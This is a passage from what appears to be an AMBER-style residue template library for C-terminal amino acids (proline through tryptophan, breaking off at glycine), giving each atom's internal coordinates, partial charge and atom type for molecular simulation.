'NC': 5, 'NB': 8, 'NA': 11, 'I': 13, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0381, 'type': 'HC'}, "impropTors":[['CA', 'OXT', 'C', 'O'], ['-M', 'CD', 'N', 'CA']], "INTX,KFORM":['INT', '1'], "HG3":{'torsion': 98.0, 'tree': 'E', 'NC': 4, 'NB': 5, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0172, 'type': 'HC'}, "HG2":{'torsion': 218.0, 'tree': 'E', 'NC': 4, 'NB': 5, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0172, 'type': 'HC'}, "CD":{'torsion': 356.1, 'tree': '3', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 126.1, 'blen': 1.458, 'charge': 0.0434, 'type': 'CT'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "loopList":[['CA', 'CB']], "HD2":{'torsion': 80.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 5, 'I': 6, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0331, 'type': 'H1'}, "HD3":{'torsion': 320.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 5, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0331, 'type': 'H1'}, "NAMRES":'PROLINE COO- ANION', "atNameList":['N', 'CD', 'HD2', 'HD3', 'CG', 'HG2', 'HG3', 'CB', 'HB2', 'HB3', 'CA', 'HA', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "HA":{'torsion': 60.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 14, 'I': 15, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0776, 'type': 'H1'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 117.0, 'blen': 1.337, 'charge': -0.2802, 'type': 'N'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 14, 'NA': 16, 'I': 17, 'angle': 120.5, 'blen': 1.229, 'charge': -0.7697, 'type': 'O2'}, "CG":{'torsion': 200.1, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 5, 'I': 8, 'angle': 103.2, 'blen': 1.5, 'charge': 0.0466, 'type': 'CT'}, "CA":{'torsion': 175.2, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 14, 'angle': 120.6, 'blen': 1.451, 'charge': -0.1336, 'type': 'CT'}, "CB":{'torsion': 338.3, 'tree': 'B', 'NC': 4, 'NB': 5, 'NA': 8, 'I': 11, 'angle': 106.0, 'blen': 1.51, 'charge': -0.0543, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 14, 'NA': 16, 'I': 18, 'angle': 120.5, 'blen': 1.229, 'charge': -0.7697, 'type': 'O2'}, "CUT":['0.00000'], "C":{'torsion': 300.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 14, 'I': 16, 'angle': 109.5, 'blen': 1.522, 'charge': 0.6631, 'type': 'C'}, }, "LYS": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0482, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0482, 'type': 'HC'}, "HZ2":{'torsion': 180.0, 'tree': 'E', 'NC': 14, 'NB': 17, 'NA': 20, 'I': 22, 'angle': 109.47, 'blen': 1.01, 'charge': 0.3374, 'type': 'H'}, "HZ3":{'torsion': 300.0, 'tree': 'E', 'NC': 14, 'NB': 17, 'NA': 20, 'I': 23, 'angle': 109.47, 'blen': 1.01, 'charge': 0.3374, 'type': 'H'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O']], "HZ1":{'torsion': 60.0, 'tree': 'E', 'NC': 14, 'NB': 17, 'NA': 20, 'I': 21, 'angle': 109.47, 'blen': 1.01, 'charge': 0.3374, 'type': 'H'}, "NZ":{'torsion': 180.0, 'tree': '3', 'NC': 11, 'NB': 14, 'NA': 17, 'I': 20, 'angle': 109.47, 'blen': 1.47, 'charge': -0.3741, 'type': 'N3'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 24, 'I': 25, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8252, 'type': 'O2'}, "INTX,KFORM":['INT', '1'], "HG3":{'torsion': 60.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 13, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0134, 'type': 'HC'}, "HG2":{'torsion': 300.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0134, 'type': 'HC'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3481, 'type': 'N'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "HE3":{'torsion': 60.0, 'tree': 'E', 'NC': 11, 'NB': 14, 'NA': 17, 'I': 19, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1121, 'type': 'HP'}, "HE2":{'torsion': 300.0, 'tree': 'E', 'NC': 11, 'NB': 14, 'NA': 17, 'I': 18, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1121, 'type': 'HP'}, "HD2":{'torsion': 300.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 14, 'I': 15, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0611, 'type': 'HC'}, "HD3":{'torsion': 60.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 14, 'I': 16, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0611, 'type': 'HC'}, "NAMRES":'LYSINE COO- ANION', "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'HG2', 'HG3', 'CD', 'HD2', 'HD3', 'CE', 'HE2', 'HE3', 'NZ', 'HZ1', 'HZ2', 'HZ3', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1438, 'type': 'H1'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2764, 'type': 'H'}, "CD":{'torsion': 180.0, 'tree': '3', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 14, 'angle': 109.47, 'blen': 1.525, 'charge': -0.0392, 'type': 'CT'}, "CE":{'torsion': 180.0, 'tree': '3', 'NC': 8, 'NB': 11, 'NA': 14, 'I': 17, 'angle': 109.47, 'blen': 1.525, 'charge': -0.0176, 'type': 'CT'}, "CG":{'torsion': 180.0, 'tree': '3', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 109.47, 'blen': 1.525, 'charge': 0.0227, 'type': 'CT'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.2903, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.0538, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 24, 'I': 26, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8252, 'type': 'O2'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 24, 'angle': 111.1, 'blen': 1.522, 'charge': 0.8488, 'type': 'C'}, }, "NAMDBF":'db94.dat', "SER": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0813, 'type': 'H1'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0813, 'type': 'H1'}, "HG":{'torsion': 180.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 109.47, 'blen': 0.96, 'charge': 0.4474, 'type': 'HO'}, "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'OG', 'HG', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 13, 'I': 14, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8132, 'type': 'O2'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': 0.1123, 'type': 'CT'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O']], "OG":{'torsion': 180.0, 'tree': 'S', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 109.47, 'blen': 1.43, 'charge': -0.6514, 'type': 'OH'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1304, 'type': 'H1'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "INTX,KFORM":['INT', '1'], "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.2722, 'type': 'CT'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 13, 'angle': 111.1, 'blen': 1.522, 'charge': 0.8113, 'type': 'C'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 13, 'I': 15, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8132, 'type': 'O2'}, "NAMRES":'SERINE COO- ANION', }, "ASP": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': -0.0212, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': -0.0212, 'type': 'HC'}, "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'OD1', 'OD2', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 14, 'I': 15, 'angle': 120.5, 'blen': 1.229, 'charge': -0.7887, 'type': 'O2'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.0677, 'type': 'CT'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O'], ['CB', 'OD1', 'CG', 'OD2']], "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1046, 'type': 'H1'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.5192, 'type': 'N'}, "INTX,KFORM":['INT', '1'], "CG":{'torsion': 180.0, 'tree': 'B', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 109.47, 'blen': 1.527, 'charge': 0.8851, 'type': 'C'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.1817, 'type': 'CT'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.3055, 'type': 'H'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "OD2":{'torsion': 270.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 13, 'angle': 117.2, 'blen': 1.26, 'charge': -0.8162, 'type': 'O2'}, "OD1":{'torsion': 90.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 117.2, 'blen': 1.26, 'charge': -0.8162, 'type': 'O2'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 14, 'angle': 111.1, 'blen': 1.522, 'charge': 0.7256, 'type': 'C'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 14, 'I': 16, 'angle': 120.5, 'blen': 1.229, 'charge': -0.7887, 'type': 'O2'}, "NAMRES":'ASPARTIC ACID COO- ANION', }, "GLN": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0452, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0452, 'type': 'HC'}, "NE2":{'torsion': 180.0, 'tree': 'B', 'NC': 8, 'NB': 11, 'NA': 14, 'I': 16, 'angle': 116.6, 'blen': 1.335, 'charge': -0.9574, 'type': 'N'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O'], ['CG', 'NE2', 'CD', 'OE1'], ['CD', 'HE21', 'NE2', 'HE22']], "INTX,KFORM":['INT', '1'], "HG3":{'torsion': 60.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 13, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0203, 'type': 'HC'}, "HG2":{'torsion': 300.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0203, 'type': 'HC'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.2248, 'type': 'CT'}, "NAMRES":'GLUTAMINE COO- ANION', "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'HG2', 'HG3', 'CD', 'OE1', 'NE2', 'HE21', 'HE22', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "HE21":{'torsion': 180.0, 'tree': 'E', 'NC': 11, 'NB': 14, 'NA': 16, 'I': 17, 'angle': 119.8, 'blen': 1.01, 'charge': 0.4304, 'type': 'H'}, "HE22":{'torsion': 0.0, 'tree': 'E', 'NC': 11, 'NB': 14, 'NA': 16, 'I': 18, 'angle': 119.8, 'blen': 1.01, 'charge': 0.4304, 'type': 'H'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1232, 'type': 'H1'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "CD":{'torsion': 180.0, 'tree': 'B', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 14, 'angle': 111.1, 'blen': 1.522, 'charge': 0.7093, 'type': 'C'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 19, 'I': 20, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8042, 'type': 'O2'}, "CG":{'torsion': 180.0, 'tree': '3', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 109.47, 'blen': 1.525, 'charge': -0.021, 'type': 'CT'}, "OE1":{'torsion': 0.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 14, 'I': 15, 'angle': 120.5, 'blen': 1.229, 'charge': -0.6098, 'type': 'O'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.0664, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 19, 'I': 21, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8042, 'type': 'O2'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 19, 'angle': 111.1, 'blen': 1.522, 'charge': 0.7775, 'type': 'C'}, }, "GLU": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': -0.0078, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': -0.0078, 'type': 'HC'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O'], ['CG', 'OE1', 'CD', 'OE2']], "INTX,KFORM":['INT', '1'], "HG3":{'torsion': 60.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 13, 'angle': 109.5, 'blen': 1.09, 'charge': -0.0548, 'type': 'HC'}, "HG2":{'torsion': 300.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 109.5, 'blen': 1.09, 'charge': -0.0548, 'type': 'HC'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.5192, 'type': 'N'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.2059, 'type': 'CT'}, "OE2":{'torsion': 270.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 14, 'I': 16, 'angle': 117.2, 'blen': 1.26, 'charge': -0.822, 'type': 'O2'}, "NAMRES":'GLUTAMIC ACID COO- ANION', "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'HG2', 'HG3', 'CD', 'OE1', 'OE2', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1399, 'type': 'H1'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.3055, 'type': 'H'}, "CD":{'torsion': 180.0, 'tree': 'B', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 14, 'angle': 109.47, 'blen': 1.527, 'charge': 0.8183, 'type': 'C'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 17, 'I': 18, 'angle': 120.5, 'blen': 1.229, 'charge': -0.793, 'type': 'O2'}, "CG":{'torsion': 180.0, 'tree': '3', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 109.47, 'blen': 1.51, 'charge': 0.0675, 'type': 'CT'}, "OE1":{'torsion': 90.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 14, 'I': 15, 'angle': 117.2, 'blen': 1.26, 'charge': -0.822, 'type': 'O2'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': 0.0071, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 17, 'I': 19, 'angle': 120.5, 'blen': 1.229, 'charge': -0.793, 'type': 'O2'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 17, 'angle': 111.1, 'blen': 1.522, 'charge': 0.742, 'type': 'C'}, }, "TRP": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0497, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0497, 'type': 'HC'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 26, 'I': 28, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8011, 'type': 'O2'}, "HZ2":{'torsion': 0.0, 'tree': 'E', 'NC': 14, 'NB': 16, 'NA': 17, 'I': 18, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1567, 'type': 'HA'}, "HZ3":{'torsion': 180.0, 'tree': 'E', 'NC': 17, 'NB': 19, 'NA': 21, 'I': 22, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1507, 'type': 'HA'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O'], ['CD1', 'CE2', 'NE1', 'HE1'], ['CE2', 'CH2', 'CZ2', 'HZ2'], ['CZ2', 'CZ3', 'CH2', 'HH2'], ['CH2', 'CE3', 'CZ3', 'HZ3'], ['CZ3', 'CD2', 'CE3', 'HE3'], ['CG', 'NE1', 'CD1', 'HD1'], ['CD1', 'CD2', 'CG', 'CB']], "CH2":{'torsion': 180.0, 'tree': 'B', 'NC': 14, 'NB': 16, 'NA': 17, 'I': 19, 'angle': 116.0, 'blen': 1.39, 'charge': -0.102, 'type': 'CA'}, "CZ3":{'torsion': 0.0, 'tree': 'B', 'NC': 16, 'NB': 17, 'NA': 19, 'I': 21, 'angle': 121.0, 'blen': 1.35, 'charge': -0.2287, 'type': 'CA'}, "NE1":{'torsion': 180.0, 'tree': 'B', 'NC': 8, 'NB': 11, 'NA': 12, 'I': 14, 'angle': 107.0, 'blen': 1.43, 'charge': -0.3316, 'type': 'NA'}, "INTX,KFORM":['INT', '1'], "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "HE3":{'torsion': 180.0, 'tree': 'E', 'NC': 19, 'NB': 21, 'NA': 23, 'I': 24, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1491, 'type': 'HA'}, "HD1":{'torsion': 0.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 12, 'I': 13, 'angle': 120.0, 'blen': 1.09, 'charge': 0.2043, 'type': 'H4'}, "HE1":{'torsion': 180.0, 'tree': 'E', 'NC': 11, 'NB': 12, 'NA': 14, 'I': 15, 'angle': 125.5, 'blen': 1.01, 'charge': 0.3413, 'type': 'H'}, "NAMRES":'TRYPTOPHAN COO- ANION', "CD1":{'torsion': 180.0, 'tree': 'B', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 127.0, 'blen': 1.34, 'charge': -0.1808, 'type': 'CW'}, "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'CD1', 'HD1', 'NE1', 'HE1', 'CE2', 'CZ2', 'HZ2', 'CH2', 'HH2', 'CZ3', 'HZ3', 'CE3', 'HE3', 'CD2', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "CD2":{'torsion': 0.0, 'tree': 'E', 'NC': 19, 'NB': 21, 'NA': 23, 'I': 25, 'angle': 117.0, 'blen': 1.4, 'charge': 0.1078, 'type': 'CB'}, "CE2":{'torsion': 0.0, 'tree': 'S', 'NC': 11, 'NB': 12, 'NA': 14, 'I': 16, 'angle': 109.0, 'blen': 1.31, 'charge': 0.1222, 'type': 'CN'}, "CE3":{'torsion': 0.0, 'tree': 'B', 'NC': 17, 'NB': 19, 'NA': 21, 'I': 23, 'angle': 122.0, 'blen': 1.41, 'charge': -0.1837, 'type': 'CA'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1272, 'type': 'H1'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 26, 'I': 27, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8011, 'type': 'O2'}, "CG":{'torsion': 180.0, 'tree': 'S', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 115.0, 'blen': 1.51, 'charge': -0.0796, 'type': 'C*'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.2084, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.0742, 'type': 'CT'}, "CZ2":{'torsion': 180.0, 'tree': 'B', 'NC': 12, 'NB': 14, 'NA': 16, 'I': 17, 'angle': 128.0, 'blen': 1.4, 'charge': -0.2594, 'type': 'CA'}, "loopList":[['CG', 'CD2'], ['CE2', 'CD2']], "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 26, 'angle': 111.1, 'blen': 1.522, 'charge': 0.7658, 'type': 'C'}, "HH2":{'torsion': 180.0, 'tree': 'E', 'NC': 16, 'NB': 17, 'NA': 19, 'I': 20, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1401, 'type': 'HA'}, }, "GLY": { "HA3":{'torsion': 60.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 